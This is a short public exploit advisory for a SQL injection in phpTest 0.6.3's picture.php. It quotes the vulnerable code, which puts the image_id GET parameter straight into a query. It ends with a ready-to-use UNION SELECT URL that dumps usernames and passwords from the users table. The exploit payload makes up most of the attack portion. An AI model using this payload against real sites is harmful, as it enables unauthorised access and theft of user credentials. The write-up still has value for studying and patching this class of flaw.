phpTest 0.6.3 (picture.php image_id) Remote SQL Injection Vulnerability

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#
#   Name   : phpTest 0.6.3 (picture.php image_id) Remote SQL Injection Vulnerability
#   Author : cOndemned [ Dark-Coders ]
#   Dork   : sorry, today no dork [;
#   Greetz : ZaBeaTy, str0ke, GregStar, Voo|doo, ixos, 0in, suN8Hclf, TBH, Avantura :*
#
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Source code of "picture.php" :

    24.    pt_register('GET', 'image_id');
    25.
    26.    if (isset($image_id)) {
    27.        $result = $db->query("SELECT filetype, data FROM images WHERE image_id = $image_id");
    28.
    29.        if ($db->num_rows($result)) {
    30.            $row = $db->fetch_object($result);
    31.            header("Content-type: $row->filetype");
    32.            echo $row->data;

Description :

    line 24 - $image_id is taken from user using $_GET method
    line 27 - There is absolutly no validation of $image_id + We can se amount of columns - 2
    line 31 - header type doesn't matter....
    line 32 - Result of MySQL Query is being printed here.
        
Exploit :

    http://[host]/[phpTest]/picture.php?image_id=-1+union+select+1,concat_ws(0x3a3a,username,password)+from+users/*